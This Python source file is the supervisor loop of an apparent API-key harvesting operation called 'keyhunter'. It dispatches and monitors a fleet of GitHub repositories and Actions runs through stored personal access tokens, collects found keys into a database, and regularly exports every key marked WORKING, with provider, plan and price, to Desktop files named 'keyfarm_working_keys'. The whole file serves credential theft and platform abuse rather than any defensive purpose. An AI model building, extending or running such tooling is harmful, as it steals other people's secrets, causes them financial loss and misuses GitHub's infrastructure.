keyhunter-parser/fleet_supervisor.py

#!/usr/bin/env python3
"""Perpetual fleet supervisor.

Cycles forever:
  - every 3h:  collect_all() + refresh Desktop exports when keys_new>0
  - every 12h: health sweep (25 nodes); re-dispatch fleet if >50% idle
  - every 7d:  fleet + DB summary

CLI: python fleet_supervisor.py [--once]  (once = single collect cycle,
     node limit via env FLEET_ONCE_LIMIT, default 3)
"""
import json
import os
import random
import sqlite3
import sys
import time
import traceback
from pathlib import Path

import requests
from requests.adapters import HTTPAdapter, Retry

ROOT = Path(__file__).parent
sys.path.insert(0, str(ROOT))

DEPLOY = ROOT / "data" / "fleet_deploy.json"
STATE = ROOT / "data" / "supervisor_state.json"
LOG = ROOT / "data" / "supervisor.log"
DESKTOP = Path(r"C:/Users/User/Desktop")

COLLECT_EVERY = 3 * 3600
HEALTH_EVERY = 12 * 3600
SUMMARY_EVERY = 7 * 24 * 3600

s = requests.Session()
s.mount("https://", HTTPAdapter(max_retries=Retry(total=4, backoff_factor=1)))


def log(msg):
    print(f"[{time.strftime('%H:%M:%S')}] {msg}", flush=True)


def load_state():
    try:
        return json.loads(STATE.read_text(encoding="utf-8"))
    except Exception:
        return {}


def save_state(st):
    STATE.write_text(json.dumps(st, indent=1), encoding="utf-8")


def ok_nodes():
    return [n for n in json.load(open(DEPLOY, encoding="utf-8")) if n.get("ok")]


def do_collect(state):
    import fleet_collect
    limit = int(os.environ.get("FLEET_ONCE_LIMIT", "0")) if ONCE else None
    out = fleet_collect.collect_all(limit or None)
    log(f"collect: nodes={out['nodes']} keys+{out['keys_new']} "
        f"patterns+{out['patterns_new']} "
        f"(WORKING={out['db_working']}) {out['sec']}s")
    state["last_collect"] = time.time()
    if out["keys_new"] > 0:
        refresh_exports()
    return out


def refresh_exports():
    db = sqlite3.connect(f"file:{ROOT / 'data' / 'keys.db'}?mode=ro", uri=True, timeout=10)
    rows = db.execute(
        "SELECT prov, plan, price, val FROM keys "
        "WHERE status='WORKING' ORDER BY found DESC").fetchall()
    db.close()
    j = [{"provider": p, "plan": pl, "price": pr, "key": v}
         for p, pl, pr, v in rows]
    (DESKTOP / "keyfarm_working_keys.json").write_text(
        json.dumps(j, indent=1), encoding="utf-8")
    import csv
    with open(DESKTOP / "keyfarm_working_keys.csv", "w",
              encoding="utf-8", newline="") as f:
        w = csv.writer(f)
        w.writerow(["provider", "plan", "price", "key"])
        w.writerows(rows)
    log(f"exports refreshed: {len(rows)} WORKING keys -> Desktop")


def do_health(state):
    nodes = ok_nodes()
    sample = random.sample(nodes, min(25, len(nodes)))
    active = no_run = err = 0
    now = time.time()
    for n in sample:
        try:
            r = s.get(
                f"https://api.github.com/repos/{n['login']}/{n['repo']}"
                f"/actions/runs?per_page=1",
                headers={"Authorization": f"Bearer {n['pat']}",
                         "Accept": "application/vnd.github+json"}, timeout=30)
            runs = r.json().get("workflow_runs", [])
            if runs and (runs[0]["status"] in ("in_progress", "queued")
                         or (now - time.mktime(
                             time.strptime(runs[0]["created_at"],
                                           "%Y-%m-%dT%H:%M:%SZ"))) < 8 * 3600):
                active += 1
            elif not runs:
                no_run += 1
        except Exception:
            err += 1
    idle = len(sample) - active - err
    log(f"health: {active}/{len(sample)} active, {idle} idle, "
        f"{no_run} never-ran, {err} err")
    state["last_health"] = time.time()
    if len(sample) and (active + err) / len(sample) < 0.5:
        log("fleet mostly idle -> re-dispatching")
        do_dispatch(state)
    state["health_last"] = {"active": active, "idle": idle,
                            "no_run": no_run, "err": err}


def do_dispatch(state):
    import fleet_dispatch
    nodes = ok_nodes()
    ok = 0
    with __import__("concurrent.futures", fromlist=["x"]).ThreadPoolExecutor(
            max_workers=12) as ex:
        for full, good, info in ex.map(fleet_dispatch.dispatch, nodes):
            ok += good
            if not good:
                log(f"  dispatch FAIL {full}: {info}")
    log(f"dispatch: {ok}/{len(nodes)}")
    state["last_dispatch"] = time.time()


def do_summary(state):
    db = sqlite3.connect(f"file:{ROOT / 'data' / 'keys.db'}?mode=ro", uri=True, timeout=10)
    total = db.execute("SELECT COUNT(*) FROM keys").fetchone()[0]
    working = db.execute(
        "SELECT COUNT(*) FROM keys WHERE status='WORKING'").fetchone()[0]
    db.close()
    nodes = ok_nodes()
    log(f"summary: nodes={len(nodes)} DB_TOTAL={total} DB_WORKING={working}")
    state["last_summary"] = time.time()


ONCE = "--once" in sys.argv


def main():
    log("supervisor up" + (" (once-mode)" if ONCE else ""))
    state = load_state()
    while True:
        try:
            do_collect(state)
            if ONCE:
                break
            now = time.time()
            if now - state.get("last_health", 0) > HEALTH_EVERY:
                do_health(state)
            if now - state.get("last_summary", 0) > SUMMARY_EVERY:
                do_summary(state)
        except KeyboardInterrupt:
            log("bye")
            return
        except Exception:
            log("cycle error:\n" + traceback.format_exc()[-800:])
        save_state(state)
        if ONCE:
            return
        time.sleep(COLLECT_EVERY)
    save_state(state)


if __name__ == "__main__":
    main()